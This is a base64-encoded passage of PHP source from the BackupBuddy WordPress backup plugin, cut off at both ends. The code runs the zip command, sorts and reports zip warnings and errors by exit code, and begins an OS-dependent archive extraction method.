bmQgY2hhbmdlIHRvIHRoZSBkaXJlY3RvcnkgYmVpbmcgYWRkZWQgc28gdGhhdCAiLiIgaXMgdmFsaWQgaW4gY29tbWFuZAoJCQkkd29ya2luZ19kaXIgPSBnZXRjd2QoKTsKCQkJY2hkaXIoICRkaXIgKTsKCQkJCgkJCSRjb21tYW5kID0gKCBzZWxmOjpPU19UWVBFX1dJTiA9PT0gJHRoaXMtPmdldF9vc190eXBlKCkgKSA/IHN0cl9yZXBsYWNlKCAnXCcnLCAnIicsICRjb21tYW5kICkgOiAkY29tbWFuZDsKCQkJCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJHRoaXMtPmdldF9tZXRob2RfdGFnKCkgLiBfXygnIGNvbW1hbmQnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzogJyAuICRjb21tYW5kICk7CgkJCUBleGVjKCAkY29tbWFuZCwgJG91dHB1dCwgJGV4aXRjb2RlICk7CgkJCQkJCQoJCQkvLyBTZXQgY3VycmVudCB3b3JraW5nIGRpcmVjdG9yeSBiYWNrIHRvIHdoZXJlIHdlIHdlcmUKCQkJY2hkaXIoICR3b3JraW5nX2RpciApOwoJCQkKCQkJLy8gQ29udmVuaWVuY2UgZm9yIGhhbmRsaW5nIGRpZmZlcmVudCBzY2FuYXJpb3MKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkKCQkJLy8gSWYgd2UgdXNlZCBhIGxvZyBmaWxlIHRoZW4gcHJvY2VzcyB0aGUgbG9nIGZpbGUgLSBlbHNlIHByb2Nlc3Mgb3V0cHV0CgkJCS8vIEFsd2F5cyBzY2FuIHRoZSBvdXRwdXQvbG9nZmlsZSBmb3Igd2FybmluZ3MsIGV0Yy4gYW5kIHNob3cgd2FybmluZ3MgZXZlbiBpZiB1c2VyIGhhcyBjaG9zZW4gdG8gaWdub3JlIHRoZW0KCQkJaWYgKCB0cnVlID09PSAkemlwX3VzaW5nX2xvZ19maWxlICkgewoJCQkKCQkJCXRyeSB7CgkJCQkKCQkJCQkkbG9nZmlsZSA9IG5ldyBTcGxGaWxlT2JqZWN0KCAkbG9nZmlsZV9uYW1lLCAicmIiICk7CgkJCQkJCgkJCQkJd2hpbGUoICEkbG9nZmlsZS0+ZW9mKCkgKSB7CgkJCQkJCgkJCQkJCSRsaW5lID0gJGxvZ2ZpbGUtPmN1cnJlbnQoKTsKCQkJCQkJJGlkID0gJGxvZ2ZpbGUtPmtleSgpOyAvLyBVc2UgdGhlIGxpbmUgbnVtYmVyIGFzIHVuaXF1ZSBrZXkgZm9yIGxhdGVyIHNvcnRpbmcKCQkJCQkJJGxvZ2ZpbGUtPm5leHQoKTsKCQkJCQkJCgkJCQkJCWlmICggcHJlZ19tYXRjaCggJy9eXHMqKHppcCB3YXJuaW5nOikvaScsICRsaW5lICkgKSB7CgkJCQkJCQoJCQkJCQkJLy8gTG9va2luZyBmb3Igc3BlY2lmaWMgdHlwZXMgb2Ygd2FybmluZyAtIGluIHBhcnRpY3VsYXIgd2FudCB0aGUgd2FybmluZyB0aGF0CgkJCQkJCQkvLyBpbmRpY2F0ZXMgYSBmaWxlIGNvdWxkbid0IGJlIHJlYWQgYXMgd2Ugd2FudCB0byB0cmVhdCB0aGF0IGFzIGEgInNraXBwZWQiCgkJCQkJCQkvLyB3YXJuaW5nIHRoYXQgaW5kaWNhdGVzIHRoYXQgemlwIGZsYWdnZWQgdGhpcyBhcyBhIHBvdGVudGlhbCBwcm9ibGVtIGJ1dAoJCQkJCQkJLy8gY3JlYXRlZCB0aGUgemlwIGZpbGUgYW55d2F5IC0gYnV0IGl0IHdvdWxkIGhhdmUgZ2VuZXJhdGVkIHRoZSBub24temVybyBleGl0CgkJCQkJCQkvLyBjb2RlIG9mIDE4IGFuZCB3ZSBrZXkgb2ZmIHRoYXQgbGF0ZXIuIEFsbCBvdGhlciB3YXJuaW5ncyBhcmUgbm90IGNvbnNpZGVyZWQKCQkJCQkJCS8vIHJlYXNvbnMgdG8gcmV0dXJuIGEgbm9uLXplcm8gZXhpdCBjb2RlIHdoaWxzdCBzdGlsbCBjcmVhdGluZyBhIHppcCBmaWxlIHNvCgkJCQkJCQkvLyB3ZSdsbCBmb2xsb3cgdGhlIGxlYWQgb24gdGhhdCBhbmQgbm90IGhhdmUgb3RoZXIgd2FybmluZyB0eXBlcyBoYWx0IHRoZSBiYWNrdXAuCgkJCQkJCQkvLyBTbyB3ZSdsbCB0cnkgYW5kIGxvb2sgZm9yIGEgd2FybmluZyBvdXRwdXQgdGhhdCBsb29rcyBsaWtlIGl0IGlzIGZpbGUgcmVsYXRlZC4uLgoJCQkJCQkJaWYgKCBwcmVnX21hdGNoKCAnL15ccyooemlwIHdhcm5pbmc6KVxzKihbXjpdKjopXHMqKC4qKS9pJywgJGxpbmUsICRtYXRjaGVzICkgKSB7CgkJCQkJCQkKCQkJCQkJCQkvLyBNYXRjaGVkIHRvIHdoYXQgbG9va3MgbGlrZSBhIGZpbGUgcmVsYXRlZCB3YXJuaW5nIHNvIGNoZWNrIHBhcnRpY3VsYXIgY2FzZXMKCQkJCQkJCQlzd2l0Y2ggKCBzdHJ0b2xvd2VyKCAkbWF0Y2hlc1sgMiBdICkgKSB7CgkJCQkJCQkJCWNhc2UgImNvdWxkIG5vdCBvcGVuIGZvciByZWFkaW5nOiI6CQkJCQkJCQkJCQoJCQkJCQkJCQkJJHppcF93YXJuaW5nc1sgc2VsZjo6WklQX1dBUk5JTkdfU0tJUFBFRCBdWyAkaWQgXSA9IHRyaW0oICRsaW5lICk7CgkJCQkJCQkJCQkkemlwX3dhcm5pbmdzX2NvdW50Kys7CgkJCQkJCQkJCQlicmVhazsKCQkJCQkJCQkJY2FzZSAibmFtZSBub3QgbWF0Y2hlZDoiOgkJCQkJCQkJCQkKCQkJCQkJCQkJCSR6aXBfb3RoZXJbIHNlbGY6OlpJUF9PVEhFUl9HRU5FUklDIF1bICRpZCBdID0gdHJpbSggJGxpbmUgKTsKCQkJCQkJCQkJCSR6aXBfb3RoZXJfY291bnQrKzsKCQkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJCQlkZWZhdWx0OgoJCQkJCQkJCQkJJHppcF93YXJuaW5nc1sgc2VsZjo6WklQX1dBUk5JTkdfR0VORVJJQyBdWyAkaWQgXSA9IHRyaW0oICRsaW5lICk7CgkJCQkJCQkJCQkkemlwX3dhcm5pbmdzX2NvdW50Kys7CgkJCQkJCQkJfQoJCQkJCQkJCgkJCQkJCQl9IGVsc2UgewoJCQkJCQkJCgkJCQkJCQkJLy8gRGlkbid0IG1hdGNoIHRvIHdoYXQgd291bGQgbG9vayBsaWtlIGEgZmlsZSByZWxhdGVkIHdhcm5pbmcgc28gY291bnQgaXQgcmVnYXJkbGVzcwoJCQkJCQkJCSR6aXBfd2FybmluZ3NbIHNlbGY6OlpJUF9XQVJOSU5HX0dFTkVSSUMgXVsgJGlkIF0gPSB0cmltKCAkbGluZSApOwoJCQkJCQkJCSR6aXBfd2FybmluZ3NfY291bnQrKzsKCQkJCQkJCQkKCQkJCQkJCX0KCQkJCQkJCQoJCQkJCQl9IGVsc2VpZiAoIHByZWdfbWF0Y2goICcvXlxzKih6aXAgZXJyb3I6KS9pJywgJGxpbmUgKSApIHsKCQkJCQkJCgkJCQkJCQkkemlwX2Vycm9yc1sgJGlkIF0gPSB0cmltKCAkbGluZSApOwoJCQkJCQkJJHppcF9lcnJvcnNfY291bnQrKzsKCQkJCQkJCgkJCQkJCX0gZWxzZWlmICggcHJlZ19tYXRjaCggJy9eXHMqKGFkZGluZzopL2knLCAkbGluZSApICkgewoJCQkJCQkKCQkJCQkJCS8vIEN1cnJlbnRseSBub3QgcHJvY2Vzc2luZyBhZGRpdGlvbnMgZW50cmllZAoJCQkJCQkJLy8kemlwX2FkZGl0aW9uc1tdID0gdHJpbSggJGxpbmUgKTsKCQkJCQkJCS8vJHppcF9hZGRpdGlvbnNfY291bnQrKzsKCQkJCQkJCgkJCQkJCX0gZWxzZWlmICggcHJlZ19tYXRjaCggJy9eXHMqKHNkOikvaScsICRsaW5lICkgKSB7CgkJCQkJCQoJCQkJCQkJJHppcF9kZWJ1Z1sgJGlkIF0gPSB0cmltKCAkbGluZSApOwoJCQkJCQkJJHppcF9kZWJ1Z19jb3VudCsrOwoJCQkJCQkKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCgkJCQkJCQkvLyBDdXJyZW50bHkgbm90IHByb2Nlc3Npbmcgb3RoZXIgZW50cmllcwoJCQkJCQkJLy8kemlwX290aGVyW10gPSB0cmltKCAkbGluZSApOwoJCQkJCQkJLy8kemlwX290aGVyX2NvdW50Kys7CgkJCQkJCQoJCQkJCQl9CgkJCQkJCQoJCQkJCX0KCQkJCQkKCQkJCQl1bnNldCggJGxvZ2ZpbGUgKTsKCQkJCQkKCQkJCQlAdW5saW5rKCAkbG9nZmlsZV9uYW1lICk7CgkJCQkJCgkJCQl9IGNhdGNoICggRXhjZXB0aW9uICRlICkgewoJCQkJCgkJCQkJLy8gU29tZXRoaW5nIGZpc2h5IC0gd2Ugc2hvdWxkIGhhdmUgYmVlbiBhYmxlIHRvIG9wZW4gdGhlIGxvZyBmaWxlLi4uCgkJCQkJJGVycm9yX3N0cmluZyA9ICRlLT5nZXRNZXNzYWdlKCk7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnTG9nIGZpbGUgY291bGQgbm90IGJlIG9wZW5lZCAtIGVycm9yIHJlcG9ydGVkOiAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJGVycm9yX3N0cmluZyApICk7CgkJCQkJCgkJCQl9CgoJCQl9IGVsc2UgewoJCQkKCQkJCS8vIFRPRE86ICRvdXRwdXQgY291bGQgYmUgbGFyZ2Ugc28gaWYgd2UgcGFyc2UgaXQgYWxsIGludG8gc2VwYXJhdGUgYXJyYXlzIHRoZW4gbWF5IHdhbnQgdG8gc2hpZnQKCQkJCS8vIG91dCBlYWNoIGxpbmUgYW5kIHRoZW4gZGlzY2FyZCBpdCBhZnRlciBjb3BpZWQgdG8gYW5vdGhlciBhcnJheQoJCQkJJGlkID0gMDsgLy8gQ3JlYXRlIGEgdW5pcXVlIGtleSAobGlrZSBhIGxpbmUgbnVtYmVyKSBmb3IgbGF0ZXIgc29ydGluZwoJCQkJZm9yZWFjaCAoICRvdXRwdXQgYXMgJGxpbmUgKSB7CgkJCQkKCQkJCQlpZiAoIHByZWdfbWF0Y2goICcvXlxzKih6aXAgd2FybmluZzopL2knLCAkbGluZSApICkgewoJCQkJCQoJCQkJCQkvLyBMb29raW5nIGZvciBzcGVjaWZpYyB0eXBlcyBvZiB3YXJuaW5nIC0gaW4gcGFydGljdWxhciB3YW50IHRoZSB3YXJuaW5nIHRoYXQKCQkJCQkJLy8gaW5kaWNhdGVzIGEgZmlsZSBjb3VsZG4ndCBiZSByZWFkIGFzIHdlIHdhbnQgdG8gdHJlYXQgdGhhdCBhcyBhICJza2lwcGVkIgoJCQkJCQkvLyB3YXJuaW5nIHRoYXQgaW5kaWNhdGVzIHRoYXQgemlwIGZsYWdnZWQgdGhpcyBhcyBhIHBvdGVudGlhbCBwcm9ibGVtIGJ1dAoJCQkJCQkvLyBjcmVhdGVkIHRoZSB6aXAgZmlsZSBhbnl3YXkgLSBidXQgaXQgd291bGQgaGF2ZSBnZW5lcmF0ZWQgdGhlIG5vbi16ZXJvIGV4aXQKCQkJCQkJLy8gY29kZSBvZiAxOCBhbmQgd2Uga2V5IG9mZiB0aGF0IGxhdGVyLiBBbGwgb3RoZXIgd2FybmluZ3MgYXJlIG5vdCBjb25zaWRlcmVkCgkJCQkJCS8vIHJlYXNvbnMgdG8gcmV0dXJuIGEgbm9uLXplcm8gZXhpdCBjb2RlIHdoaWxzdCBzdGlsbCBjcmVhdGluZyBhIHppcCBmaWxlIHNvCgkJCQkJCS8vIHdlJ2xsIGZvbGxvdyB0aGUgbGVhZCBvbiB0aGF0IGFuZCBub3QgaGF2ZSBvdGhlciB3YXJuaW5nIHR5cGVzIGhhbHQgdGhlIGJhY2t1cC4KCQkJCQkJLy8gU28gd2UnbGwgdHJ5IGFuZCBsb29rIGZvciBhIHdhcm5pbmcgb3V0cHV0IHRoYXQgbG9va3MgbGlrZSBpdCBpcyBmaWxlIHJlbGF0ZWQuLi4KCQkJCQkJaWYgKCBwcmVnX21hdGNoKCAnL15ccyooemlwIHdhcm5pbmc6KVxzKihbXjpdKjopXHMqKC4qKS9pJywgJGxpbmUsICRtYXRjaGVzICkgKSB7CgkJCQkJCQoJCQkJCQkJLy8gTWF0Y2hlZCB0byB3aGF0IGxvb2tzIGxpa2UgYSBmaWxlIHJlbGF0ZWQgd2FybmluZyBzbyBjaGVjayBwYXJ0aWN1bGFyIGNhc2VzCgkJCQkJCQlzd2l0Y2ggKCBzdHJ0b2xvd2VyKCAkbWF0Y2hlc1sgMiBdICkgKSB7CgkJCQkJCQkJY2FzZSAiY291bGQgbm90IG9wZW4gZm9yIHJlYWRpbmc6IjoJCQkJCQkJCQkJCgkJCQkJCQkJCSR6aXBfd2FybmluZ3NbIHNlbGY6OlpJUF9XQVJOSU5HX1NLSVBQRUQgXVsgJGlkKysgXSA9IHRyaW0oICRsaW5lICk7CgkJCQkJCQkJCSR6aXBfd2FybmluZ3NfY291bnQrKzsKCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJY2FzZSAibmFtZSBub3QgbWF0Y2hlZDoiOgkJCQkJCQkJCQkKCQkJCQkJCQkJJHppcF9vdGhlclsgc2VsZjo6WklQX09USEVSX0dFTkVSSUMgXVsgJGlkKysgXSA9IHRyaW0oICRsaW5lICk7CgkJCQkJCQkJCSR6aXBfb3RoZXJfY291bnQrKzsKCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJZGVmYXVsdDoKCQkJCQkJCQkJJHppcF93YXJuaW5nc1sgc2VsZjo6WklQX1dBUk5JTkdfR0VORVJJQyBdWyAkaWQrKyBdID0gdHJpbSggJGxpbmUgKTsKCQkJCQkJCQkJJHppcF93YXJuaW5nc19jb3VudCsrOwoJCQkJCQkJfQoJCQkJCQkKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCgkJCQkJCQkvLyBEaWRuJ3QgbWF0Y2ggdG8gd2hhdCB3b3VsZCBsb29rIGxpa2UgYSBmaWxlIHJlbGF0ZWQgd2FybmluZyBzbyBjb3VudCBpdCByZWdhcmRsZXNzCgkJCQkJCQkkemlwX3dhcm5pbmdzWyBzZWxmOjpaSVBfV0FSTklOR19HRU5FUklDIF1bICRpZCsrIF0gPSB0cmltKCAkbGluZSApOwoJCQkJCQkJJHppcF93YXJuaW5nc19jb3VudCsrOwoJCQkJCQkJCgkJCQkJCX0KCQkJCQkJCgkJCQkJfSBlbHNlaWYgKCBwcmVnX21hdGNoKCAnL15ccyooemlwIGVycm9yOikvaScsICRsaW5lICkgKSB7CgkJCQkJCgkJCQkJCSR6aXBfZXJyb3JzWyAkaWQrKyBdID0gdHJpbSggJGxpbmUgKTsKCQkJCQkJJHppcF9lcnJvcnNfY291bnQrKzsKCQkJCQkKCQkJCQl9IGVsc2VpZiAoIHByZWdfbWF0Y2goICcvXlxzKihhZGRpbmc6KS9pJywgJGxpbmUgKSApIHsKCQkJCQkKCQkJCQkJLy8gQ3VycmVudGx5IG5vdCBwcm9jZXNzaW5nIGFkZGl0aW9ucyBlbnRyaWVkCgkJCQkJCS8vJHppcF9hZGRpdGlvbnNbXSA9IHRyaW0oICRsaW5lICk7CgkJCQkJCS8vJHppcF9hZGRpdGlvbnNfY291bnQrKzsKCQkJCQkJJGlkKys7CgkJCQkJCgkJCQkJfSBlbHNlaWYgKCBwcmVnX21hdGNoKCAnL15ccyooc2Q6KS9pJywgJGxpbmUgKSApIHsKCQkJCQkKCQkJCQkJJHppcF9kZWJ1Z1sgJGlkKysgXSA9IHRyaW0oICRsaW5lICk7CgkJCQkJCSR6aXBfZGVidWdfY291bnQrKzsKCQkJCQkKCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQkvLyBDdXJyZW50bHkgbm90IHByb2Nlc3Npbmcgb3RoZXIgZW50cmllcwoJCQkJCQkvLyR6aXBfb3RoZXJbXSA9IHRyaW0oICRsaW5lICk7CgkJCQkJCS8vJHppcF9vdGhlcl9jb3VudCsrOwoJCQkJCQkkaWQrKzsKCQkJCQkKCQkJCQl9CgkJCQkJCgkJCQl9CgkKCQkJCS8vIE5vdyBmcmVlIHVwIHRoZSBtZW1vcnkuLi4KCQkJCXVuc2V0KCAkb3V0cHV0ICk7CgkJCQkKCQkJfQoJCQkKCQkJLy8gU2V0IGNvbnZlbmllbmNlIGZsYWdzCQkJCgkJCSRoYXZlX3ppcF93YXJuaW5ncyA9ICggMCA8ICR6aXBfd2FybmluZ3NfY291bnQgKTsKCQkJJGhhdmVfemlwX2Vycm9ycyA9ICggMCA8ICR6aXBfZXJyb3JzX2NvdW50ICk7CgkJCSRoYXZlX3ppcF9hZGRpdGlvbnMgPSAoIDAgPCAkemlwX2FkZGl0aW9uc19jb3VudCApOwoJCQkkaGF2ZV96aXBfZGVidWcgPSAoIDAgPCAkemlwX2RlYnVnX2NvdW50ICk7CgkJCSRoYXZlX3ppcF9vdGhlciA9ICggMCA8ICR6aXBfb3RoZXJfY291bnQgKTsKCQkJCgkJCS8vIEFsd2F5cyByZXBvcnQgdGhlIGV4aXQgY29kZSByZWdhcmRsZXNzIG9mIHdoZXRoZXIgd2UgbWlnaHQgaWdub3JlIGl0IG9yIG5vdAoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgcHJvY2VzcyBleGl0IGNvZGU6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkZXhpdGNvZGUgKTsKCQkJCgkJCS8vIEFsd2F5cyByZXBvcnQgdGhlIG51bWJlciBvZiB3YXJuaW5ncyAtIGV2ZW4ganVzdCB0byBjb25maXJtIHRoYXQgd2UgZGlkbid0IGhhdmUgYW55CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1ppcCBwcm9jZXNzIHJlcG9ydGVkOiAlMSRzIHdhcm5pbmclMiRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF93YXJuaW5nc19jb3VudCwgKCAoIDEgPT0gJHppcF93YXJuaW5nc19jb3VudCApID8gJycgOiAncycgKSApICk7CgoJCQkvLyBBbHdheXMgcmVwb3J0IHdhcm5pbmdzIHJlZ2FyZGxlc3Mgb2Ygd2hldGhlciB1c2VyIGhhcyBzZWxlY3RlZCB0byBpZ25vcmUgdGhlbQoJCQlpZiAoIHRydWUgPT09ICRoYXZlX3ppcF93YXJuaW5ncyApIHsKCQkJCgkJCQkkdGhpcy0+bG9nX3ppcF9yZXBvcnRzKCAkemlwX3dhcm5pbmdzLCBzZWxmOjokX3dhcm5pbmdfZGVzYywgIldBUk5JTkciLCBzZWxmOjpNQVhfV0FSTklOR19MSU5FU19UT19TSE9XLCBkaXJuYW1lKCBkaXJuYW1lKCAkdGVtcGRpciApICkgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3BiX2JhY2t1cGJ1ZGR5JyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBzZWxmOjpaSVBfV0FSTklOR1NfRklMRV9OQU1FICk7CgoJCQl9CgkJCQoJCQkvLyBBbHdheXMgcmVwb3J0IG90aGVyIHJlcG9ydHMgcmVnYXJkbGVzcwoJCQlpZiAoIHRydWUgPT09ICRoYXZlX3ppcF9vdGhlciApIHsKCQkJCgkJCQkvLyBPbmx5IHJlcG9ydCBudW1iZXIgb2YgaW5mb3JtYXRpb25hbHMgaWYgd2UgaGF2ZSBhbnkgYXMgdGhleSBhcmUgbm90IHRoYXQgaW1wb3J0YW50CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdaaXAgcHJvY2VzcyByZXBvcnRlZDogJTEkcyBpbmZvcm1hdGlvbiUyJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX290aGVyX2NvdW50LCAoICggMSA9PSAkemlwX290aGVyX2NvdW50ICkgPyAnYWwnIDogJ2FscycgKSApICk7CgoJCQkJJHRoaXMtPmxvZ196aXBfcmVwb3J0cyggJHppcF9vdGhlciwgc2VsZjo6JF9vdGhlcl9kZXNjLCAiSU5GT1JNQVRJT04iLCBzZWxmOjpNQVhfT1RIRVJfTElORVNfVE9fU0hPVywgZGlybmFtZSggZGlybmFtZSggJHRlbXBkaXIgKSApIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdwYl9iYWNrdXBidWRkeScgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gc2VsZjo6WklQX09USEVSU19GSUxFX05BTUUgKTsKCgkJCX0KCQkJCgkJCS8vIFNlZSBpZiB3ZSBjYW4gZmlndXJlIG91dCB3aGF0IGhhcHBlbmVkIC0gbm90ZSB0aGF0ICRleGl0Y29kZSBjb3VsZCBiZSBub24temVybyBmb3IgYWN0aW9uYWJsZSB3YXJuaW5nKHMpIG9yIGVycm9yCgkJCS8vIGlmICggKG5vIHppcCBmaWxlKSBvciAoZmF0YWwgZXhpdCBjb2RlKSBvciAobm90IGlnbm9yaW5nIHdhcm5hYmxlIGV4aXQgY29kZSkgKQoJCQkvLyBUT0RPOiBIYW5kbGUgY29uZGl0aW9uIHRlc3Rpbmcgd2l0aCBmdW5jdGlvbiBjYWxscyBiYXNlZCBvbiBtYXBwaW5nIGV4aXQgY29kZXMgdG8gZXhpdCB0eXBlIChmYXRhbCB2cyBub24tZmF0YWwpCgkJCWlmICggKCAhIEBmaWxlX2V4aXN0cyggJHRlbXBfemlwICkgKSB8fAoJCQkJICggKCAwICE9ICRleGl0Y29kZSApICYmICggMTggIT0gJGV4aXRjb2RlICkgKSB8fAoJCQkJICggKCAxOCA9PSAkZXhpdGNvZGUgKSAmJiAhJHRoaXMtPmdldF9pZ25vcmVfd2FybmluZ3MoKSApICkgewoJCQkKCQkJCS8vIElmIHdlIGhhdmUgYW55IHppcCBlcnJvcnMgcmVwb3J0ZWQgc2hvdyB0aGVtIHJlZ2FyZGxlc3MKCQkJCWlmICggdHJ1ZSA9PT0gJGhhdmVfemlwX2Vycm9ycyApIHsKCQkJCQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1ppcCBwcm9jZXNzIHJlcG9ydGVkOiAlMSRzIGVycm9yJTIkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZXJyb3JzX2NvdW50LCAoICggMSA9PSAkemlwX2Vycm9yc19jb3VudCApID8gJycgOiAncycgKSAgKSApOwoJCQkJCQoJCQkJCWZvcmVhY2ggKCAkemlwX2Vycm9ycyBhcyAkbGluZSApIHsKCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCAnWmlwIHByb2Nlc3MgcmVwb3J0ZWQ6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkbGluZSApOwoJCQkJCgkJCQkJfQoJCQkJCQoJCQkJfQoKCQkJCS8vIFJlcG9ydCB3aGV0aGVyIG9yIG5vdCB0aGUgemlwIGZpbGUgd2FzIGNyZWF0ZWQgKHdoZXRoZXIgdGhhdCBiZSBpbiB0aGUgZmluYWwgb3IgdGVtcG9yYXJ5IGxvY2F0aW9uKQkJCQoJCQkJaWYgKCAhIEBmaWxlX2V4aXN0cyggJHRlbXBfemlwICkgKSB7CgkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCAnWmlwIEFyY2hpdmUgZmlsZSBub3QgY3JlYXRlZCAtIGNoZWNrIHByb2Nlc3MgZXhpdCBjb2RlLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkKCQkJCX0gZWxzZSB7CgkJCQkJCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ1ppcCBBcmNoaXZlIGZpbGUgY3JlYXRlZCBidXQgd2l0aCBlcnJvcnMvYWN0aW9uYWJsZS13YXJuaW5ncyBzbyB3aWxsIGJlIGRlbGV0ZWQgLSBjaGVjayBwcm9jZXNzIGV4aXQgY29kZSBhbmQgd2FybmluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoKCQkJCX0KCQkJCQoJCQkJLy8gVGhlIG9wZXJhdGlvbiBoYXMgZmFpbGVkIG9uZSB3YXkgb3IgYW5vdGhlci4KCQkJCQoJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCgkJCX0gZWxzZSB7CgkJCQoJCQkJLy8gR290IGZpbGUgd2l0aCBubyBlcnJvciBvciB3YXJuaW5ncyBfb3JfIHdpdGggd2FybmluZ3MgdGhhdCB0aGUgdXNlciBoYXMgY2hvc2VuIHRvIGlnbm9yZQoJCQkJLy8gRmlsZSBhbHdheXMgYnVpbHQgaW4gdGVtcG9yYXJ5IGxvY2F0aW9uIHNvIGFsd2F5cyBuZWVkIHRvIG1vdmUgaXQgbGF0ZXIKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgX18oICdaaXAgQXJjaGl2ZSBmaWxlIHN1Y2Nlc3NmdWxseSBjcmVhdGVkIHdpdGggbm8gZXJyb3JzIChhbnkgYWN0aW9uYWJsZSB3YXJuaW5ncyBpZ25vcmVkIGJ5IHVzZXIgc2V0dGluZ3MpLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQoJCQkJJHRoaXMtPmxvZ19hcmNoaXZlX2ZpbGVfc3RhdHMoICR0ZW1wX3ppcCApOwoKCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCgkJCX0JCQkKCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQkJCQkJCQkJCQkKCQl9CgkJCgkJLyoqCgkJICoJZXh0cmFjdCgpCgkJICoKCQkgKglFeHRyYWN0cyB0aGUgY29udGVudHMgb2YgYSB6aXAgZmlsZSB0byB0aGUgc3BlY2lmaWVkIGRpcmVjdG9yeSB1c2luZyB0aGUgYmVzdCB1bnppcCBtZXRob2RzIHBvc3NpYmxlLgoJCSAqCUlmIG5vIHNwZWNpZmljIGl0ZW1zIGdpdmVuIHRvIGV4dHJhY3QgdGhlbiBpdCdzIGEgY29tcGxldGUgdW56aXAKCQkgKgoJCSAqCUBwYXJhbQlzdHJpbmcJCSR6aXBfZmlsZQkJCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIGZpbGUgdG8gZXh0cmFjdCBmcm9tLgoJCSAqCUBwYXJhbQlzdHJpbmcJCSRkZXN0aW5hdGlvbl9kaXJlY3RvcnkJCUZ1bGwgZGlyZWN0b3J5IHBhdGggdG8gZXh0cmFjdCBpbnRvLgoJCSAqCUBwYXJhbQlhcnJheQkJJGl0ZW1zCQkJCQkJTWFwcGluZyBvZiB3aGF0IHRvIGV4dHJhY3QgYW5kIHRvIHdoYXQKCQkgKglAcmV0dXJuCWJvb2wJCQkJCQkJCQl0cnVlIG9uIHN1Y2Nlc3MgKGFsbCBleHRyYWN0aW9ucyBzdWNjZXNzZnVsKSwgZmFsc2Ugb3RoZXJ3aXNlCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGV4dHJhY3QoICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSA9ICcnLCAkaXRlbXMgPSBhcnJheSgpICkgewoJCQoJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCgkJCXN3aXRjaCAoICR0aGlzLT5nZXRfb3NfdHlwZSgpICkgewoJCQkJY2FzZSBzZWxmOjpPU19UWVBFX05JWDoKCQkJCQlpZiAoIGVtcHR5KCAkaXRlbXMgKSApIHsKCQkJCQkJJHJlc3VsdCA9ICR0aGlzLT5leHRyYWN0X2dlbmVyaWNfZnVsbCggJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ICk7CgkJCQkJfSBlbHNlIHsKCQkJCQkJJHJlc3VsdCA9ICR0aGlzLT5leHRyYWN0X2dlbmVyaWNfc2VsZWN0ZWQoICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSwgJGl0ZW1zICk7CQkJCQkKCQkJCQl9CgkJCQkJYnJlYWs7CgkJCQljYXNlIHNlbGY6Ok9TX1RZUEVfV0lOOgoJCQkJCWlmICggZW1wdHkoICRpdGVtcyApICkgewoJCQkJCQkkcmVzdWx0ID0gJHRoaXMtPmV4dHJhY3RfZ2VuZXJpY19mdWxsKCAkemlwX2ZpbGUsICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkgKTsKCQkJCQl9IGVsc2UgewoJCQkJCQkkcmVzdWx0ID0gJHRoaXMtPmV4dHJhY3RfZ2VuZXJpY19zZWxlY3RlZCggJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5LCAkaXRlbXMgKTsJCQkJCQoJCQkJCX0KCQkJCQlicmVhazsKCQkJCWRlZmF1bHQ6CgkJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQl9CgkJCQoJCQlyZXR1cm4gJHJlc3VsdDsKCQkJCgkJfQoKCQkvKioKCQkgKglleHRyYWN0X2dlbmVyaWNfZnVs